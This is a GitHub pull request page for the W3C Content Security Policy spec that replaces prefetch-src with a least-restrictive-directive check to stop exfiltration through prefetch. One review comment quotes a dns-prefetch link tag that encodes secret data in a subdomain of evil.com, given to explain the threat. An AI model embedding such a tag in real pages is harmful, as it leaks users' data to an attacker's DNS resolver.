Skip to content

Use "least restrictive" directive instead of prefetch-src - #582

Merged
mikewest merged 8 commits into
w3c:mainfrom
noamr:prefetch-least-restrictive
Jan 10, 2023
Merged

mikewest merged 8 commits into
w3c:mainfrom
noamr:prefetch-least-restrictive

Conversation

@noamr

@noamr noamr commented Dec 19, 2022

Copy link
Copy Markdown
Contributor

When prefetching a resource (or preconnecting to an origin), the destination of the request is unknown and also not important.

e.g. if this resource is a script and would be disallowed by script-src, the directive would be invoked again when the response is about to be consumed and would be rejected then.

The only security measure valid for prefetch/preconnect is to avoid exfiltration - i.e. block the request when the default directive blocks this URL and no other directive allows it.

Closes #542

When prefetching a resource (or preconnecting to an origin),
the destination of the request is unknown and also not important.

e.g. if this resource is a script and would be disallowed by
`script-src`, the directive would be invoked again when the
response is about to be consumed and would be rejected then.

The only security measure valid for prefetch/preconnect is to
avoid exfiltration - i.e. block the request when the default
directive blocks this URL and no other directive allows it.

Closes w3c#542

@mikewest mikewest left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This seems like a reasonable direction to me. I'd like to find a way to include DNS prefetch / preconnect as well. Perhaps we can hand-wave at that in a security considerations section, since I don't think the fetch hooks exist at the moment?

Comment thread index.bs

4. Return "`Allowed`".

<h4 id="directive-prefetch-src">`prefetch-src`</h4>

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done

Comment thread index.bs Resolved
@noamr

noamr commented Dec 19, 2022 •

Copy link
Copy Markdown
Contributor Author

This seems like a reasonable direction to me. I'd like to find a way to include DNS prefetch / preconnect as well. Perhaps we can hand-wave at that in a security considerations section, since I don't think the fetch hooks exist at the moment?

I will add a non-handwavy thing for preconnect in fetch, no need to handwave. Probably create a "fake" request just for the purpose of checking it against the policy.

I don't know if dns-prefetch needs this, as doing a DNS check is not really exfiltration (or is it?)
I think once we specify dns-prefetch we can make this happen. Right now that rel is handwavy to begin with...

@mikewest

Copy link
Copy Markdown
Member

dns-prefetch is certainly an exfiltration mechanism as <link rel="dns-prefetch" href="https://super-secret-data.evil.com/" /> ends up at evil.com's resolver.

@noamr

noamr commented Dec 19, 2022

Copy link
Copy Markdown
Contributor Author

dns-prefetch is certainly an exfiltration mechanism as <link rel="dns-prefetch" href="https://super-secret-data.evil.com/" /> ends up at evil.com's resolver.

OK then.

@annevk

annevk commented Dec 21, 2022

Copy link
Copy Markdown
Member

(Defining dns-prefetch is fairly straightforward nowadays given that https://fetch.spec.whatwg.org/#resolve-an-origin exists.)

@noamr

noamr commented Dec 21, 2022

Copy link
Copy Markdown
Contributor Author

(Defining dns-prefetch is fairly straightforward nowadays given that https://fetch.spec.whatwg.org/#resolve-an-origin exists.)

Totally, it's on my list after we finish prefetch.

@mikewest mikewest left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added some suggestions, but this generally looks good.

Have you talked to other vendors about their opinion on this change? Are tests in progress?

Comment thread index.bs Resolved
Comment thread index.bs Resolved
Comment thread index.bs Resolved
Comment thread index.bs Resolved
Comment thread index.bs Resolved
Comment thread index.bs Resolved
noamr and others added 6 commits December 22, 2022 10:17
Co-authored-by: Mike West <[email protected]>
Co-authored-by: Mike West <[email protected]>
Co-authored-by: Mike West <[email protected]>
Co-authored-by: Mike West <[email protected]>
Co-authored-by: Mike West <[email protected]>
Co-authored-by: Mike West <[email protected]>
@noamr

noamr commented Dec 22, 2022

Copy link
Copy Markdown
Contributor Author

Added some suggestions, but this generally looks good.

Have you talked to other vendors about their opinion on this change? Are tests in progress?

Waiting for a response from Mozilla folks to this Standards position comment, and for Apple's position on some of the details.

I wanted to reach a bit of consensus before proceeding to the tests, but perhaps this is a good time.

noamr added a commit to web-platform-tests/wpt that referenced this pull request Jan 1, 2023
Instead of relying on `prefetch-src`, we rely on the least
restrictive directive in the policy.

Tests w3c/webappsec-csp#582
@noamr

noamr commented Jan 1, 2023

Copy link
Copy Markdown
Contributor Author

Added some suggestions, but this generally looks good.

Have you talked to other vendors about their opinion on this change? Are tests in progress?

Tests: web-platform-tests/wpt#37715

@mikewest mikewest left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks, @noamr. I'm happy with this PR based on the tests you linked and WebKit's apparent approval in WebKit/standards-positions#114 (comment).

You'll need to join WebAppSec to make the IPR bot happy. Perhaps you can take care of that before I land this?

@noamr noamr closed this Jan 10, 2023
@noamr noamr reopened this Jan 10, 2023
@noamr

noamr commented Jan 10, 2023

Copy link
Copy Markdown
Contributor Author

Thanks, @noamr. I'm happy with this PR based on the tests you linked and WebKit's apparent approval in WebKit/standards-positions#114 (comment).

You'll need to join WebAppSec to make the IPR bot happy. Perhaps you can take care of that before I land this?

Done

@mikewest
mikewest merged commit 54ae572 into w3c:main Jan 10, 2023
github-actions Bot added a commit that referenced this pull request Jan 10, 2023
SHA: 54ae572
Reason: push, by mikewest

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
annevk pushed a commit to whatwg/fetch that referenced this pull request Jan 25, 2023
sideshowbarker added a commit to mdn/browser-compat-data that referenced this pull request Apr 17, 2023
w3c/webappsec-csp#582 dropped prefetch-src from
the CSP spec.
sideshowbarker added a commit to mdn/browser-compat-data that referenced this pull request Apr 17, 2023
w3c/webappsec-csp#582 dropped prefetch-src from
the CSP spec.
Elchi3 pushed a commit to mdn/browser-compat-data that referenced this pull request Apr 17, 2023
w3c/webappsec-csp#582 dropped prefetch-src from
the CSP spec.
bc-universe added a commit to bc-universe/rust-content-security-policy that referenced this pull request Feb 12, 2024
As per w3c/webappsec-csp#582, prefetch-src has now been deprecated.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Consider relaxing prefetch-src and preload as

3 participants